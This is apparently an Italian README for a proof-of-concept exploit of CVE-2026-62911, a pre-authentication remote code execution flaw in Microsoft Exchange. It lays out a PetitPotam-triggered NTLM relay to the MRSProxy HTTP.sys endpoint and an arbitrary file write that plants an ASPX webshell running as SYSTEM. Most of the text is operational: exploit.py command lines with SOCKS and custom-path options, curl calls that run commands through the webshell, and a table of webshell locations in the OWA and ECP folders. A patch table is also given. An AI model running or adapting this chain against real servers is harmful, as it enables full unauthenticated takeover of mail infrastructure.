
Exploit proof-of-concept per CVE-2026-62911: RCE pre-autenticazione su Microsoft Exchange tramite NTLM relay verso MRSProxy, con scrittura di una webshell ASPX per l'esecuzione di comandi come SYSTEM.
RCE pre-autenticazione su Microsoft Exchange Server. Nessuna credenziale necessaria.
Orange Tsai (DEVCORE) ha sfruttato questa vulnerabilità al Pwn2Own Berlin 2026 come parte di una catena di 3 bug. Premio di 200.000 dollari, compromissione totale come SYSTEM.
Exchange espone MailboxReplicationProxyService (MRSProxy) su due percorsi. Uno di essi risiede su HTTP.sys senza Extended Protection:
| Percorso | Ospitato da | Extended Protection |
|---|
/EWS/MRSProxy.svc | IIS | Sì. Sicuro. |
/Microsoft.Exchange.MailboxReplicationService.ProxyService | HTTP.sys | No. Obiettivo del relay. |
L'endpoint HTTP.sys accetta l'autenticazione Negotiate ma non controlla mai i channel binding. Inoltri l'hash di un account macchina ad esso e Exchange ti tratta come quella macchina. Gli account macchina dispongono di ms-Exch-EPI-Token-Serialization per impostazione predefinita, quindi il servizio WCF concede l'accesso completo.
Una volta dentro, IMailbox_Config6() accetta un parametro filePath. PstDestinationMailbox.ConfigPst() scrive qualunque percorso gli venga fornito. Nessun controllo sull'estensione. Puntalo su una directory IIS, chiama IMailbox_Connect() e un file finisce su disco. Rendi quel file una webshell ASPX. Fatto.
<!-- MSExchangeMailboxReplication.exe.config -->
<binding name="MrsProxyHttpsBinding" receiveTimeout="00:22:00">
<httpsTransport authenticationScheme="Negotiate"
maxReceivedMessageSize="100000000" />
<!-- no extendedProtectionPolicy — that's the bug -->
</binding>
[ServiceContract(SessionMode = SessionMode.Required)]
interface IMailboxReplicationProxyService
{
void ExchangeVersionInformation(
VersionInformation clientVersion,
out VersionInformation serverVersion);
long IMailbox_Config6(
Guid reservationId, Guid primaryMailboxGuid, Guid physicalMailboxGuid,
string filePath, // attacker-controlled, no validation
byte[] partitionHint, Guid mdbGuid, string mdbName,
MailboxType mbxType, int proxyControlFlags, int localMailboxFlags);
void IMailbox_Connect(long mailboxHandle);
// calls PSTSession.Open() — writes file at filePath
}
| Prodotto | Vulnerabile al di sotto di | Corretta | KB |
|---|---|---|---|
| Exchange 2016 CU23 | 15.1.2507.72 | 15.1.2507.72 | KB5121576 |
| Exchange 2019 CU14 | 15.2.1544.43 | 15.2.1544.43 | KB5121575 |
| Exchange 2019 CU15 | 15.2.1748.48 | 15.2.1748.48 | KB5121574 |
| Exchange SE RTM | 15.2.2562.45 | 15.2.2562.45 | KB5121573 |
Exchange 2016 ha raggiunto la fine del supporto (end-of-life) nell'ottobre 2025. La correzione dell'agosto 2026 viene distribuita solo tramite gli Extended Security Updates (ESU). Se l'organizzazione non ha acquistato ESU, non esiste una patch.
Attacker EX02 (trigger) EX01 (target)
│ │ │
│── PetitPotam (MS-EFSR) ──▶│ │
│ │ │
│◀── NTLM auth (EX02$) ─────│ │
│ │ │
│── relay NTLM ────────────────────────────────────▶│
│ (to MRSProxy HTTP.sys) │
│ │
│── IMailbox_Config6(path=shell.aspx) ─────────────▶│
│── IMailbox_Connect() ────────────────────────────▶│
│ │ file written
│ │
│── GET /aspnet_client/shell.aspx?cmd=whoami ──────▶│
│◀── nt authority\system ────────────────────────────│
Cinque passaggi:
Innesca MS-EFSR (EfsRpcOpenFileRaw) su EX02. Si autentica verso di te con il suo account macchina. PetitPotam funziona senza autenticazione contro Exchange non aggiornato.
Il tuo listener SMB cattura la negoziazione NTLM da EX02$.
Inoltrala via HTTPS al MRSProxy di EX01. L'endpoint non controlla l'EPA, quindi il relay viene completato. Gli account macchina dispongono già del diritto di serializzazione di Exchange, quindi il controllo di autorizzazione viene superato.
Invia le chiamate WCF: IMailbox_Config6 con un percorso come C:\inetpub\wwwroot\aspnet_client\shell.aspx, poi IMailbox_Connect. Exchange scrive il file.
Raggiungi la webshell. Sei SYSTEM.
Installa le dipendenze:
pip install impacket pysocks
Verifica se MRSProxy è esposto:
python3 exploit.py --check-only \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
Devi vedere Microsoft-HTTPAPI/2.0 con Negotiate nella risposta 401. Questo conferma che l'endpoint HTTP.sys è attivo e che l'EPA è assente.
Esegui l'exploit:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
Se PetitPotam richiede autenticazione sul tuo target:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
-u jsmith -p 'P@ssw0rd!' -d CONTOSO.COM
Attraverso un tunnel SOCKS:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--socks 127.0.0.1 --socks-port 10800
Scegli un percorso di scrittura diverso:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--webshell-path 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\x.aspx' \
--webshell-url '/owa/auth/x.aspx'
Verifica che la shell sia stata scritta:
python3 exploit.py --verify-only \
-t 192.168.1.10 \
--webshell-url '/aspnet_client/system_web/shell.aspx'
Usala:
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=whoami+/all"
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=ipconfig+/all"
| Percorso su disco | URL | Motivo |
|---|---|---|
C:\inetpub\wwwroot\aspnet_client\system_web\shell.aspx | /aspnet_client/system_web/shell.aspx | Directory predefinita degli script client di IIS. Di solito scrivibile, serve ASPX. |
C:\inetpub\wwwroot\aspnet_client\shell.aspx | /aspnet_client/shell.aspx | Come sopra, più breve. |
...\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx | /owa/auth/shell.aspx | Cartella di autenticazione di OWA. |
...\V15\FrontEnd\HttpProxy\ecp\auth\shell.aspx | /ecp/auth/shell.aspx | Cartella di autenticazione di ECP. |
Solo per test autorizzati. Ottieni un permesso scritto prima di eseguire questo strumento contro qualsiasi sistema.